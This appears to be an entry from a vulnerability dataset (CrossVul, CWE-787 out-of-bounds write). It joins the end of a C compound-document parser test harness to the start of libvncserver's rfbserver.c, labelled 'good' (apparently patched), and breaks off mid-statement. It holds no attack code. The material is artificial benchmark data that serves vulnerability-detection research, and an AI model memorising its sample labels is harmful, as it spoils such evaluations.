size_t i; printf("Catalog:\n"); for (i = 0; i < cat->cat_num; i++) { cdf_timestamp_to_timespec(&ts, ce[i].ce_timestamp); printf("\t%d %s %s", ce[i].ce_num, cdf_u16tos8(sbuf, ce[i].ce_namlen, ce[i].ce_name), cdf_ctime(&ts.tv_sec, tbuf)); } free(cat); } #endif #ifdef TEST int main(int argc, char *argv[]) { int i; cdf_header_t h; cdf_sat_t sat, ssat; cdf_stream_t sst, scn; cdf_dir_t dir; cdf_info_t info; const cdf_directory_t *root; #ifdef __linux__ #define getprogname() __progname extern char *__progname; #endif if (argc < 2) { (void)fprintf(stderr, "Usage: %s <filename>\n", getprogname()); return -1; } info.i_buf = NULL; info.i_len = 0; for (i = 1; i < argc; i++) { if ((info.i_fd = open(argv[1], O_RDONLY)) == -1) err(EXIT_FAILURE, "Cannot open `%s'", argv[1]); if (cdf_read_header(&info, &h) == -1) err(EXIT_FAILURE, "Cannot read header"); #ifdef CDF_DEBUG cdf_dump_header(&h); #endif if (cdf_read_sat(&info, &h, &sat) == -1) err(EXIT_FAILURE, "Cannot read sat"); #ifdef CDF_DEBUG cdf_dump_sat("SAT", &sat, CDF_SEC_SIZE(&h)); #endif if (cdf_read_ssat(&info, &h, &sat, &ssat) == -1) err(EXIT_FAILURE, "Cannot read ssat"); #ifdef CDF_DEBUG cdf_dump_sat("SSAT", &ssat, CDF_SHORT_SEC_SIZE(&h)); #endif if (cdf_read_dir(&info, &h, &sat, &dir) == -1) err(EXIT_FAILURE, "Cannot read dir"); if (cdf_read_short_stream(&info, &h, &sat, &dir, &sst, &root) == -1) err(EXIT_FAILURE, "Cannot read short stream"); #ifdef CDF_DEBUG cdf_dump_stream(&sst); #endif #ifdef CDF_DEBUG cdf_dump_dir(&info, &h, &sat, &ssat, &sst, &dir); #endif if (cdf_read_summary_info(&info, &h, &sat, &ssat, &sst, &dir, &scn) == -1) warn("Cannot read summary info"); #ifdef CDF_DEBUG else cdf_dump_summary_info(&h, &scn); #endif if (cdf_read_user_stream(&info, &h, &sat, &ssat, &sst, &dir, "Catalog", &scn) == -1) warn("Cannot read catalog"); #ifdef CDF_DEBUG else cdf_dump_catalog(&h, &scn); #endif (void)close(info.i_fd); } return 0; } #endif
./CrossVul/dataset_final_sorted/CWE-787/c/good_1196_0
crossvul-cpp_data_good_522_0
/* * rfbserver.c - deal with server-side of the RFB protocol. */ /* * Copyright (C) 2011-2012 D. R. Commander * Copyright (C) 2005 Rohit Kumar, Johannes E. Schindelin * Copyright (C) 2002 RealVNC Ltd. * OSXvnc Copyright (C) 2001 Dan McGuirk <mcguirk@incompleteness.net>. * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #include <stdio.h> #include <string.h> #include <rfb/rfb.h> #include <rfb/rfbregion.h> #include "private.h" #include "rfb/rfbconfig.h" #ifdef LIBVNCSERVER_HAVE_FCNTL_H #include <fcntl.h> #endif #ifdef WIN32 #include <winsock2.h> #include <ws2tcpip.h> #include <io.h> #define write(sock,buf,len) send(sock,buf,len,0) #else #ifdef LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> #endif #include <pwd.h> #ifdef LIBVNCSERVER_HAVE_SYS_SOCKET_H #include <sys/socket.h> #endif #ifdef LIBVNCSERVER_HAVE_NETINET_IN_H #include <netinet/in.h> #include <netinet/tcp.h> #include <netdb.h> #include <arpa/inet.h> #endif #endif #ifdef DEBUGPROTO #undef DEBUGPROTO #define DEBUGPROTO(x) x #else #define DEBUGPROTO(x) #endif #include <stdarg.h> #include <scale.h> /* stst() */ #include <sys/types.h> #include <sys/stat.h> #if LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> #endif #ifndef WIN32 /* readdir() */ #include <dirent.h> #endif /* errno */ #include <errno.h> /* strftime() */ #include <time.h> #ifdef LIBVNCSERVER_WITH_WEBSOCKETS #include "rfbssl.h" #endif #ifdef _MSC_VER #define snprintf _snprintf /* Missing in MSVC */ /* Prevent POSIX deprecation warnings */ #define close _close #define strdup _strdup #endif #ifdef WIN32 #include <direct.h> #ifdef __MINGW32__ #define mkdir(path, perms) mkdir(path) /* Omit the perms argument to match POSIX signature */ #else /* MSVC and other windows compilers */ #define mkdir(path, perms) _mkdir(path) /* Omit the perms argument to match POSIX signature */ #endif /* __MINGW32__ else... */ #ifndef S_ISDIR #define S_ISDIR(m) (((m) & S_IFDIR) == S_IFDIR) #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* * Map of quality levels to provide compatibility with TightVNC/TigerVNC * clients. This emulates the behavior of the TigerVNC Server. */ static const int tight2turbo_qual[10] = { 15, 29, 41, 42, 62, 77, 79, 86, 92, 100 }; static const int tight2turbo_subsamp[10] = { 1, 1, 1, 2, 2, 2, 0, 0, 0, 0 }; #endif static void rfbProcessClientProtocolVersion(rfbClientPtr cl); static void rfbProcessClientNormalMessage(rfbClientPtr cl); static void rfbProcessClientInitMessage(rfbClientPtr cl); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD void rfbIncrClientRef(rfbClientPtr cl) { LOCK(cl->refCountMutex); cl->refCount++; UNLOCK(cl->refCountMutex); } void rfbDecrClientRef(rfbClientPtr cl) { LOCK(cl->refCountMutex); cl->refCount--; if(cl->refCount<=0) /* just to be sure also < 0 */ TSIGNAL(cl->deleteCond); UNLOCK(cl->refCountMutex); } #else void rfbIncrClientRef(rfbClientPtr cl) {} void rfbDecrClientRef(rfbClientPtr cl) {} #endif #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD static MUTEX(rfbClientListMutex); #endif struct rfbClientIterator { rfbClientPtr next; rfbScreenInfoPtr screen; rfbBool closedToo; }; void rfbClientListInit(rfbScreenInfoPtr rfbScreen) { if(sizeof(rfbBool)!=1) { /* a sanity check */ fprintf(stderr,"rfbBool's size is not 1 (%d)!\n",(int)sizeof(rfbBool)); /* we cannot continue, because rfbBool is supposed to be char everywhere */ exit(1); } rfbScreen->clientHead = NULL; INIT_MUTEX(rfbClientListMutex); } rfbClientIteratorPtr rfbGetClientIterator(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i = (rfbClientIteratorPtr)malloc(sizeof(struct rfbClientIterator)); i->next = NULL; i->screen = rfbScreen; i->closedToo = FALSE; return i; } rfbClientIteratorPtr rfbGetClientIteratorWithClosed(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i = (rfbClientIteratorPtr)malloc(sizeof(struct rfbClientIterator)); i->next = NULL; i->screen = rfbScreen; i->closedToo = TRUE; return i; } rfbClientPtr rfbClientIteratorHead(rfbClientIteratorPtr i) { #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(i->next != 0) { rfbDecrClientRef(i->next); rfbIncrClientRef(i->screen->clientHead); } #endif LOCK(rfbClientListMutex); i->next = i->screen->clientHead; UNLOCK(rfbClientListMutex); return i->next; } rfbClientPtr rfbClientIteratorNext(rfbClientIteratorPtr i) { if(i->next == 0) { LOCK(rfbClientListMutex); i->next = i->screen->clientHead; UNLOCK(rfbClientListMutex); } else { IF_PTHREADS(rfbClientPtr cl = i->next); i->next = i->next->next; IF_PTHREADS(rfbDecrClientRef(cl)); } #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(!i->closedToo) while(i->next && i->next->sock<0) i->next = i->next->next; if(i->next) rfbIncrClientRef(i->next); #endif return i->next; } void rfbReleaseClientIterator(rfbClientIteratorPtr iterator) { IF_PTHREADS(if(iterator->next) rfbDecrClientRef(iterator->next)); free(iterator); } /* * rfbNewClientConnection is called from sockets.c when a new connection * comes in. */ void rfbNewClientConnection(rfbScreenInfoPtr rfbScreen, int sock) { rfbNewClient(rfbScreen,sock); } /* * rfbReverseConnection is called to make an outward * connection to a "listening" RFB client. */ rfbClientPtr rfbReverseConnection(rfbScreenInfoPtr rfbScreen, char *host, int port) { int sock; rfbClientPtr cl; if ((sock = rfbConnect(rfbScreen, host, port)) < 0) return (rfbClientPtr)NULL; cl = rfbNewClient(rfbScreen, sock); if (cl) { cl->reverseConnection = TRUE; } return cl; } void rfbSetProtocolVersion(rfbScreenInfoPtr rfbScreen, int major_, int minor_) { /* Permit the server to set the version to report */ /* TODO: sanity checking */ if ((major_==3) && (minor_ > 2 && minor_ < 9)) { rfbScreen->protocolMajorVersion = major_; rfbScreen->protocolMinorVersion = minor_; } else rfbLog("rfbSetProtocolVersion(%d,%d) set to invalid values\n", major_, minor_); } /* * rfbNewClient is called when a new connection has been made by whatever * means. */ static rfbClientPtr rfbNewTCPOrUDPClient(rfbScreenInfoPtr rfbScreen, int sock, rfbBool isUDP) { rfbProtocolVersionMsg pv; rfbClientIteratorPtr iterator; rfbClientPtr cl,cl_; #ifdef LIBVNCSERVER_IPv6 struct sockaddr_storage addr; #else struct sockaddr_in addr; #endif socklen_t addrlen = sizeof(addr); rfbProtocolExtension* extension; cl = (rfbClientPtr)calloc(sizeof(rfbClientRec),1); cl->screen = rfbScreen; cl->sock = sock; cl->viewOnly = FALSE; /* setup pseudo scaling */ cl->scaledScreen = rfbScreen; cl->scaledScreen->scaledScreenRefCount++; rfbResetStats(cl); cl->clientData = NULL; cl->clientGoneHook = rfbDoNothingWithClient; if(isUDP) { rfbLog(" accepted UDP client\n"); } else { #ifdef LIBVNCSERVER_IPv6 char host[1024]; #endif int one=1; getpeername(sock, (struct sockaddr *)&addr, &addrlen); #ifdef LIBVNCSERVER_IPv6 if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) { rfbLogPerror("rfbNewClient: error in getnameinfo"); cl->host = strdup(""); } else cl->host = strdup(host); #else cl->host = strdup(inet_ntoa(addr.sin_addr)); #endif rfbLog(" other clients:\n"); iterator = rfbGetClientIterator(rfbScreen); while ((cl_ = rfbClientIteratorNext(iterator)) != NULL) { rfbLog(" %s\n",cl_->host); } rfbReleaseClientIterator(iterator); if(!rfbSetNonBlocking(sock)) { close(sock); return NULL; } if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) { rfbLogPerror("setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?"); } FD_SET(sock,&(rfbScreen->allFds)); rfbScreen->maxFd = rfbMax(sock,rfbScreen->maxFd); INIT_MUTEX(cl->outputMutex); INIT_MUTEX(cl->refCountMutex); INIT_MUTEX(cl->sendMutex); INIT_COND(cl->deleteCond); cl->state = RFB_PROTOCOL_VERSION; cl->reverseConnection = FALSE; cl->readyForSetColourMapEntries = FALSE; cl->useCopyRect = FALSE; cl->preferredEncoding = -1; cl->correMaxWidth = 48; cl->correMaxHeight = 48; #ifdef LIBVNCSERVER_HAVE_LIBZ cl->zrleData = NULL; #endif cl->copyRegion = sraRgnCreate(); cl->copyDX = 0; cl->copyDY = 0; cl->modifiedRegion = sraRgnCreateRect(0,0,rfbScreen->width,rfbScreen->height); INIT_MUTEX(cl->updateMutex); INIT_COND(cl->updateCond); cl->requestedRegion = sraRgnCreate(); cl->format = cl->screen->serverFormat; cl->translateFn = rfbTranslateNone; cl->translateLookupTable = NULL; LOCK(rfbClientListMutex); IF_PTHREADS(cl->refCount = 0); cl->next = rfbScreen->clientHead; cl->prev = NULL; if (rfbScreen->clientHead) rfbScreen->clientHead->prev = cl; rfbScreen->clientHead = cl; UNLOCK(rfbClientListMutex); #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) cl->tightQualityLevel = -1; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION; cl->turboSubsampLevel = TURBO_DEFAULT_SUBSAMP; { int i; for (i = 0; i < 4; i++) cl->zsActive[i] = FALSE; } #endif #endif cl->fileTransfer.fd = -1; cl->enableCursorShapeUpdates = FALSE; cl->enableCursorPosUpdates = FALSE; cl->useRichCursorEncoding = FALSE; cl->enableLastRectEncoding = FALSE; cl->enableKeyboardLedState = FALSE; cl->enableSupportedMessages = FALSE; cl->enableSupportedEncodings = FALSE; cl->enableServerIdentity = FALSE; cl->lastKeyboardLedState = -1; cl->cursorX = rfbScreen->cursorX; cl->cursorY = rfbScreen->cursorY; cl->useNewFBSize = FALSE; #ifdef LIBVNCSERVER_HAVE_LIBZ cl->compStreamInited = FALSE; cl->compStream.total_in = 0; cl->compStream.total_out = 0; cl->compStream.zalloc = Z_NULL; cl->compStream.zfree = Z_NULL; cl->compStream.opaque = Z_NULL; cl->zlibCompressLevel = 5; #endif cl->progressiveSliceY = 0; cl->extensions = NULL; cl->lastPtrX = -1; #ifdef LIBVNCSERVER_WITH_WEBSOCKETS /* * Wait a few ms for the client to send WebSockets connection (TLS/SSL or plain) */ if (!webSocketsCheck(cl)) { /* Error reporting handled in webSocketsHandshake */ rfbCloseClient(cl); rfbClientConnectionGone(cl); return NULL; } #endif sprintf(pv,rfbProtocolVersionFormat,rfbScreen->protocolMajorVersion, rfbScreen->protocolMinorVersion); if (rfbWriteExact(cl, pv, sz_rfbProtocolVersionMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); return NULL; } } for(extension = rfbGetExtensionIterator(); extension; extension=extension->next) { void* data = NULL; /* if the extension does not have a newClient method, it wants * to be initialized later. */ if(extension->newClient && extension->newClient(cl, &data)) rfbEnableExtension(cl, extension, data); } rfbReleaseExtensionIterator(); switch (cl->screen->newClientHook(cl)) { case RFB_CLIENT_ON_HOLD: cl->onHold = TRUE; break; case RFB_CLIENT_ACCEPT: cl->onHold = FALSE; break; case RFB_CLIENT_REFUSE: rfbCloseClient(cl); rfbClientConnectionGone(cl); cl = NULL; break; } return cl; } rfbClientPtr rfbNewClient(rfbScreenInfoPtr rfbScreen, int sock) { return(rfbNewTCPOrUDPClient(rfbScreen,sock,FALSE)); } rfbClientPtr rfbNewUDPClient(rfbScreenInfoPtr rfbScreen) { return((rfbScreen->udpClient= rfbNewTCPOrUDPClient(rfbScreen,rfbScreen->udpSock,TRUE))); } /* * rfbClientConnectionGone is called from sockets.c just after a connection * has gone away. */ void rfbClientConnectionGone(rfbClientPtr cl) { #if defined(LIBVNCSERVER_HAVE_LIBZ) && defined(LIBVNCSERVER_HAVE_LIBJPEG) int i; #endif LOCK(rfbClientListMutex); if (cl->prev) cl->prev->next = cl->next; else cl->screen->clientHead = cl->next; if (cl->next) cl->next->prev = cl->prev; UNLOCK(rfbClientListMutex); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(cl->screen->backgroundLoop != FALSE) { int i; do { LOCK(cl->refCountMutex); i=cl->refCount; if(i>0) WAIT(cl->deleteCond,cl->refCountMutex); UNLOCK(cl->refCountMutex); } while(i>0); } #endif if(cl->sock>=0) close(cl->sock); if (cl->scaledScreen!=NULL) cl->scaledScreen->scaledScreenRefCount--; #ifdef LIBVNCSERVER_HAVE_LIBZ rfbFreeZrleData(cl); #endif rfbFreeUltraData(cl); /* free buffers holding pixel data before and after encoding */ free(cl->beforeEncBuf); free(cl->afterEncBuf); if(cl->sock>=0) FD_CLR(cl->sock,&(cl->screen->allFds)); cl->clientGoneHook(cl); rfbLog("Client %s gone\n",cl->host); free(cl->host); #ifdef LIBVNCSERVER_HAVE_LIBZ /* Release the compression state structures if any. */ if ( cl->compStreamInited ) { deflateEnd( &(cl->compStream) ); } #ifdef LIBVNCSERVER_HAVE_LIBJPEG for (i = 0; i < 4; i++) { if (cl->zsActive[i]) deflateEnd(&cl->zsStruct[i]); } #endif #endif if (cl->screen->pointerClient == cl) cl->screen->pointerClient = NULL; sraRgnDestroy(cl->modifiedRegion); sraRgnDestroy(cl->requestedRegion); sraRgnDestroy(cl->copyRegion); if (cl->translateLookupTable) free(cl->translateLookupTable); TINI_COND(cl->updateCond); TINI_MUTEX(cl->updateMutex); /* make sure outputMutex is unlocked before destroying */ LOCK(cl->outputMutex); UNLOCK(cl->outputMutex); TINI_MUTEX(cl->outputMutex); LOCK(cl->sendMutex); UNLOCK(cl->sendMutex); TINI_MUTEX(cl->sendMutex); rfbPrintStats(cl); rfbResetStats(cl); free(cl); } /* * rfbProcessClientMessage is called when there is data to read from a client. */ void rfbProcessClientMessage(rfbClientPtr cl) { switch (cl->state) { case RFB_PROTOCOL_VERSION: rfbProcessClientProtocolVersion(cl); return; case RFB_SECURITY_TYPE: rfbProcessClientSecurityType(cl); return; case RFB_AUTHENTICATION: rfbAuthProcessClientMessage(cl); return; case RFB_INITIALISATION: case RFB_INITIALISATION_SHARED: rfbProcessClientInitMessage(cl); return; default: rfbProcessClientNormalMessage(cl); return; } } /* * rfbProcessClientProtocolVersion is called when the client sends its * protocol version. */ static void rfbProcessClientProtocolVersion(rfbClientPtr cl) { rfbProtocolVersionMsg pv; int n, major_, minor_; if ((n = rfbReadExact(cl, pv, sz_rfbProtocolVersionMsg)) <= 0) { if (n == 0) rfbLog("rfbProcessClientProtocolVersion: client gone\n"); else rfbLogPerror("rfbProcessClientProtocolVersion: read"); rfbCloseClient(cl); return; } pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv,rfbProtocolVersionFormat,&major_,&minor_) != 2) { rfbErr("rfbProcessClientProtocolVersion: not a valid RFB client: %s\n", pv); rfbCloseClient(cl); return; } rfbLog("Client Protocol Version %d.%d\n", major_, minor_); if (major_ != rfbProtocolMajorVersion) { rfbErr("RFB protocol version mismatch - server %d.%d, client %d.%d", cl->screen->protocolMajorVersion, cl->screen->protocolMinorVersion, major_,minor_); rfbCloseClient(cl); return; } /* Check for the minor version use either of the two standard version of RFB */ /* * UltraVNC Viewer detects FileTransfer compatible servers via rfb versions * 3.4, 3.6, 3.14, 3.16 * It's a bad method, but it is what they use to enable features... * maintaining RFB version compatibility across multiple servers is a pain * Should use something like ServerIdentity encoding */ cl->protocolMajorVersion = major_; cl->protocolMinorVersion = minor_; rfbLog("Protocol version sent %d.%d, using %d.%d\n", major_, minor_, rfbProtocolMajorVersion, cl->protocolMinorVersion); rfbAuthNewClient(cl); } void rfbClientSendString(rfbClientPtr cl, const char *reason) { char *buf; int len = strlen(reason); rfbLog("rfbClientSendString(\"%s\")\n", reason); buf = (char *)malloc(4 + len); ((uint32_t *)buf)[0] = Swap32IfLE(len); memcpy(buf + 4, reason, len); if (rfbWriteExact(cl, buf, 4 + len) < 0) rfbLogPerror("rfbClientSendString: write"); free(buf); rfbCloseClient(cl); } /* * rfbClientConnFailed is called when a client connection has failed either * because it talks the wrong protocol or it has failed authentication. */ void rfbClientConnFailed(rfbClientPtr cl, const char *reason) { char *buf; int len = strlen(reason); rfbLog("rfbClientConnFailed(\"%s\")\n", reason); buf = (char *)malloc(8 + len); ((uint32_t *)buf)[0] = Swap32IfLE(rfbConnFailed); ((uint32_t *)buf)[1] = Swap32IfLE(len); memcpy(buf + 8, reason, len); if (rfbWriteExact(cl, buf, 8 + len) < 0) rfbLogPerror("rfbClientConnFailed: write"); free(buf); rfbCloseClient(cl); } /* * rfbProcessClientInitMessage is called when the client sends its * initialisation message. */ static void rfbProcessClientInitMessage(rfbClientPtr cl) { rfbClientInitMsg ci; union { char buf[256]; rfbServerInitMsg si; } u; int len, n; rfbClientIteratorPtr iterator; rfbClientPtr otherCl; rfbExtensionData* extension; if (cl->state == RFB_INITIALISATION_SHARED) { /* In this case behave as though an implicit ClientInit message has * already been received with a shared-flag of true. */ ci.shared = 1; /* Avoid the possibility of exposing the RFB_INITIALISATION_SHARED * state to calling software. */ cl->state = RFB_INITIALISATION; } else { if ((n = rfbReadExact(cl, (char *)&ci,sz_rfbClientInitMsg)) <= 0) { if (n == 0) rfbLog("rfbProcessClientInitMessage: client gone\n"); else rfbLogPerror("rfbProcessClientInitMessage: read"); rfbCloseClient(cl); return; } } memset(u.buf,0,sizeof(u.buf)); u.si.framebufferWidth = Swap16IfLE(cl->screen->width); u.si.framebufferHeight = Swap16IfLE(cl->screen->height); u.si.format = cl->screen->serverFormat; u.si.format.redMax = Swap16IfLE(u.si.format.redMax); u.si.format.greenMax = Swap16IfLE(u.si.format.greenMax); u.si.format.blueMax = Swap16IfLE(u.si.format.blueMax); strncpy(u.buf + sz_rfbServerInitMsg, cl->screen->desktopName, 127); len = strlen(u.buf + sz_rfbServerInitMsg); u.si.nameLength = Swap32IfLE(len); if (rfbWriteExact(cl, u.buf, sz_rfbServerInitMsg + len) < 0) { rfbLogPerror("rfbProcessClientInitMessage: write"); rfbCloseClient(cl); return; } for(extension = cl->extensions; extension;) { rfbExtensionData* next = extension->next; if(extension->extension->init && !extension->extension->init(cl, extension->data)) /* extension requested that it be removed */ rfbDisableExtension(cl, extension->extension); extension = next; } cl->state = RFB_NORMAL; if (!cl->reverseConnection && (cl->screen->neverShared || (!cl->screen->alwaysShared && !ci.shared))) { if (cl->screen->dontDisconnect) { iterator = rfbGetClientIterator(cl->screen); while ((otherCl = rfbClientIteratorNext(iterator)) != NULL) { if ((otherCl != cl) && (otherCl->state == RFB_NORMAL)) { rfbLog("-dontdisconnect: Not shared & existing client\n"); rfbLog(" refusing new client %s\n", cl->host); rfbCloseClient(cl); rfbReleaseClientIterator(iterator); return; } } rfbReleaseClientIterator(iterator); } else { iterator = rfbGetClientIterator(cl->screen); while ((otherCl = rfbClientIteratorNext(iterator)) != NULL) { if ((otherCl != cl) && (otherCl->state == RFB_NORMAL)) { rfbLog("Not shared - closing connection to client %s\n", otherCl->host); rfbCloseClient(otherCl); } } rfbReleaseClientIterator(iterator); } } } /* The values come in based on the scaled screen, we need to convert them to * values based on the man screen's coordinate system */ static rfbBool rectSwapIfLEAndClip(uint16_t* x,uint16_t* y,uint16_t* w,uint16_t* h, rfbClientPtr cl) { int x1=Swap16IfLE(*x); int y1=Swap16IfLE(*y); int w1=Swap16IfLE(*w); int h1=Swap16IfLE(*h); rfbScaledCorrection(cl->scaledScreen, cl->screen, &x1, &y1, &w1, &h1, "rectSwapIfLEAndClip"); *x = x1; *y = y1; *w = w1; *h = h1; if(*w>cl->screen->width-*x) *w=cl->screen->width-*x; /* possible underflow */ if(*w>cl->screen->width-*x) return FALSE; if(*h>cl->screen->height-*y) *h=cl->screen->height-*y; if(*h>cl->screen->height-*y) return FALSE; return TRUE; } /* * Send keyboard state (PointerPos pseudo-encoding). */ rfbBool rfbSendKeyboardLedState(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingKeyboardLedState); rect.r.x = Swap16IfLE(cl->lastKeyboardLedState); rect.r.y = 0; rect.r.w = 0; rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingKeyboardLedState, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } #define rfbSetBit(buffer, position) (buffer[(position & 255) / 8] |= (1 << (position % 8))) /* * Send rfbEncodingSupportedMessages. */ rfbBool rfbSendSupportedMessages(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; rfbSupportedMessages msgs; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbSupportedMessages > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingSupportedMessages); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(sz_rfbSupportedMessages); rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; memset((char *)&msgs, 0, sz_rfbSupportedMessages); rfbSetBit(msgs.client2server, rfbSetPixelFormat); rfbSetBit(msgs.client2server, rfbFixColourMapEntries); rfbSetBit(msgs.client2server, rfbSetEncodings); rfbSetBit(msgs.client2server, rfbFramebufferUpdateRequest); rfbSetBit(msgs.client2server, rfbKeyEvent); rfbSetBit(msgs.client2server, rfbPointerEvent); rfbSetBit(msgs.client2server, rfbClientCutText); rfbSetBit(msgs.client2server, rfbFileTransfer); rfbSetBit(msgs.client2server, rfbSetScale); /*rfbSetBit(msgs.client2server, rfbSetServerInput); */ /*rfbSetBit(msgs.client2server, rfbSetSW); */ /*rfbSetBit(msgs.client2server, rfbTextChat); */ rfbSetBit(msgs.client2server, rfbPalmVNCSetScaleFactor); rfbSetBit(msgs.server2client, rfbFramebufferUpdate); rfbSetBit(msgs.server2client, rfbSetColourMapEntries); rfbSetBit(msgs.server2client, rfbBell); rfbSetBit(msgs.server2client, rfbServerCutText); rfbSetBit(msgs.server2client, rfbResizeFrameBuffer); rfbSetBit(msgs.server2client, rfbPalmVNCReSizeFrameBuffer); if (cl->screen->xvpHook) { rfbSetBit(msgs.client2server, rfbXvp); rfbSetBit(msgs.server2client, rfbXvp); } memcpy(&cl->updateBuf[cl->ublen], (char *)&msgs, sz_rfbSupportedMessages); cl->ublen += sz_rfbSupportedMessages; rfbStatRecordEncodingSent(cl, rfbEncodingSupportedMessages, sz_rfbFramebufferUpdateRectHeader+sz_rfbSupportedMessages, sz_rfbFramebufferUpdateRectHeader+sz_rfbSupportedMessages); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* * Send rfbEncodingSupportedEncodings. */ rfbBool rfbSendSupportedEncodings(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; static uint32_t supported[] = { rfbEncodingRaw, rfbEncodingCopyRect, rfbEncodingRRE, rfbEncodingCoRRE, rfbEncodingHextile, #ifdef LIBVNCSERVER_HAVE_LIBZ rfbEncodingZlib, rfbEncodingZRLE, rfbEncodingZYWRLE, #endif #ifdef LIBVNCSERVER_HAVE_LIBJPEG rfbEncodingTight, #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG rfbEncodingTightPng, #endif rfbEncodingUltra, rfbEncodingUltraZip, rfbEncodingXCursor, rfbEncodingRichCursor, rfbEncodingPointerPos, rfbEncodingLastRect, rfbEncodingNewFBSize, rfbEncodingKeyboardLedState, rfbEncodingSupportedMessages, rfbEncodingSupportedEncodings, rfbEncodingServerIdentity, }; uint32_t nEncodings = sizeof(supported) / sizeof(supported[0]), i; /* think rfbSetEncodingsMsg */ if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + (nEncodings * sizeof(uint32_t)) > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingSupportedEncodings); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(nEncodings * sizeof(uint32_t)); rect.r.h = Swap16IfLE(nEncodings); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; for (i = 0; i < nEncodings; i++) { uint32_t encoding = Swap32IfLE(supported[i]); memcpy(&cl->updateBuf[cl->ublen], (char *)&encoding, sizeof(encoding)); cl->ublen += sizeof(encoding); } rfbStatRecordEncodingSent(cl, rfbEncodingSupportedEncodings, sz_rfbFramebufferUpdateRectHeader+(nEncodings * sizeof(uint32_t)), sz_rfbFramebufferUpdateRectHeader+(nEncodings * sizeof(uint32_t))); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } void rfbSetServerVersionIdentity(rfbScreenInfoPtr screen, char *fmt, ...) { char buffer[256]; va_list ap; va_start(ap, fmt); vsnprintf(buffer, sizeof(buffer)-1, fmt, ap); va_end(ap); if (screen->versionString!=NULL) free(screen->versionString); screen->versionString = strdup(buffer); } /* * Send rfbEncodingServerIdentity. */ rfbBool rfbSendServerIdentity(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; char buffer[512]; /* tack on our library version */ snprintf(buffer,sizeof(buffer)-1, "%s (%s)", (cl->screen->versionString==NULL ? "unknown" : cl->screen->versionString), LIBVNCSERVER_PACKAGE_STRING); if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + (strlen(buffer)+1) > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingServerIdentity); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(strlen(buffer)+1); rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; memcpy(&cl->updateBuf[cl->ublen], buffer, strlen(buffer)+1); cl->ublen += strlen(buffer)+1; rfbStatRecordEncodingSent(cl, rfbEncodingServerIdentity, sz_rfbFramebufferUpdateRectHeader+strlen(buffer)+1, sz_rfbFramebufferUpdateRectHeader+strlen(buffer)+1); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* * Send an xvp server message */ rfbBool rfbSendXvp(rfbClientPtr cl, uint8_t version, uint8_t code) { rfbXvpMsg xvp; xvp.type = rfbXvp; xvp.pad = 0; xvp.version 